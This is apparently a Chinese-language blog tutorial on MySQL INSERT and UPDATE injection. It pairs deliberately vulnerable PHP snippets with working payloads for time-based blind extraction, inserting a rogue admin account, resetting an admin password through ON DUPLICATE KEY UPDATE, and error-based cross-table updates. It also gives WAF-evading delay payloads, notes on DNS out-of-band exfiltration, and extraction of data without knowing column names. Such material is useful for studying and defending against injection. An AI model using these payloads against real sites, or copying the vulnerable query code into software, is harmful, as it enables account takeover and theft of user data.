insert时间盲注
先考虑这样一种注入情况,很多网站都会把访问者的IP记录到数据库中,而且是从HTTP头的X-FORWARDED-FOR或CLIENT-IP等用户可控的字段获取,这样的话,如果没有对获取的IP进行合法性验证就插入数据库就会产生SQL注入。插入数据库的IP值一般用户不可见,一般也不会产生二次注入,所以我们只能在insert语句中构造时间盲注语句才能利用此漏洞。
<?php $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $con = mysql_connect("localhost","root","root"); mysql_select_db("test", $con); $query = "insert into `guest` values(null,'$ip');"; $result = mysql_query($query); echo $query; mysql_close($con); ?>
利用if条件构造时间盲注即可提取数据!
构造如下payload利用漏洞:
insert into `guest` values(null,''-(if((substr(version(),1,1)='5'),sleep(5),1))-'');
insert多行插入
<?php $username = $_POST['username']; $passowrd = $_POST['password']; $passowrd = md5($passowrd); $con = mysql_connect("localhost","root","root"); mysql_select_db("test", $con); $query = "insert into `users` values(null,0,'$username','$passowrd');"; $result = mysql_query($query); echo $query; mysql_close($con); ?>
is_admin字段如果为1则代表为管理员用户,为0是普通用户
很明显username参数存在注入,可以利用part 1提到的时间盲注方法提取数据,但是如果我们利用盲注提取到的md5加密后的管理员密码无法破解怎么办?是否还有更好的利用方法?
我们可以利用insert语句的多行插入方式来利用此漏洞
构造如下payload利用漏洞:
insert into `users` values(null,0,'1','1'),(null,1,'cesafe','e10adc3949ba59abbe56e057f20f883e');
insert更新插入
继续看Part 2的例子,在很多情况下记录用户权限是用的单独的一个数据表而不是直接在users数据表中增加一个is_admin字段。在这种情况下直接利用insert语句插入一个管理员用户是不可能实现的,脑洞在开大一点,在这种情况下还有什么奇淫绝技吗?
看一下代码和数据表结构:
<?php $username = $_POST['username']; $passowrd = $_POST['password']; $passowrd = md5($passowrd); $con = mysql_connect("localhost","root","root"); mysql_select_db("test", $con); $query = "insert into `users` values(null,'$username','$passowrd');"; $result = mysql_query($query); echo $query; mysql_close($con); ?>
在当前数据表中有一个管理员用户,在记录权限的数据表中记录主键id=1的用户拥有管理员权限。
因为只有主键id=1的用户拥有管理员权限,所以我们不可能通过insert注入插入一个管理员用户。
既然不可能插入管理员用户,那我们能不能update管理员用户的密码呢?
这是我们就要用到一个叫做“更新插入”的技巧,即当插入的数据与已有数据主键冲突时,可以利用on duplicate key语法来更新数据值。
构造如下payload利用漏洞:
insert into `users` values(null,'guest','guest'),(1,'admin','123') on duplicate key update password = 'reset_pwd';
对于update注入,如果update后的数据值用户可见那么直接把敏感数据update到数据库,之后查看即可,如果不可见,那么利用前面提到的时间盲注也可以提取数据。
但是如果注入点是在数据表那里呢?看一下phithon牛出的一道题:
<?php $link = mysqli_connect('localhost', 'root', 'root'); mysqli_select_db($link, 'code'); $table = addslashes($_GET['table']); $sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1"; if(!mysqli_query($link, $sql)) { echo(mysqli_error($link)); } mysqli_close($link);
这道题最大的一个坑是整个update语句被分成了三行,不能用单行注释把后面的语句注释掉,必须构造出一个完整的SQL语句。要解决这道题,我们要利用到
Mysql跨表更新,通过join语句引入一个select子查询来利用漏洞。
Payload为如下SQL语句:
update `table` t join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username` set username ='admin' where id=1;
关于时间盲注的另类奇淫绝技
对于时间盲注,我们一般都会通过sleep()或benchmark()函数构造时间延迟,但是如果sleep和benchmark关键字被过滤掉了该怎么办?
利用思路:
1.让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟
2.如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()
3.利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟
看一下我研究出来的Payload:
select(repeat(0x7a,999999)regexp(concat(0x5e,repeat(0x28,20),0x7a,repeat(0x292a,20),0x24)));
直接利用Mysql的repeat()函数即可构造超长字符串,同理可以构造一个复杂的正则表达式,而且Mysql的字符串可以直接使用十六进制数据代替,这样就可以避免使用引号从避免被一些WAF拦截。
当然了,如果Mysql版本比较低的话,还可以直接利用带外通道获取数据。在Mysql 5.5.53之前的版本,默认可以使用load_file()读取数据,而且load_file()支持UNC路径,因此可以利用DNS解析来向外传输数据(结合exeye平台效果更佳),当然了,如果into outfile可以使用的话就直接getshell好了。
未知列名情况下的注入利用
如果在利用SQL注入的时候遇到了WAF(安全狗3.5版本会直接拦截关键字information_shema),从而无法获取数据表的列名,这时该怎么利用漏洞呢?
不绕圈子了,请看如下SQL语句:
select t.2 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from users)t;
利用虚表获取第二列的数据
select * from users where (1,0x61,0x61) < (select * from users limit 1);
利用此方法可以比较整行数据的值,我们只要获取到了数据表的列数就可以利用盲注的思想逐字节爆破各列的数据!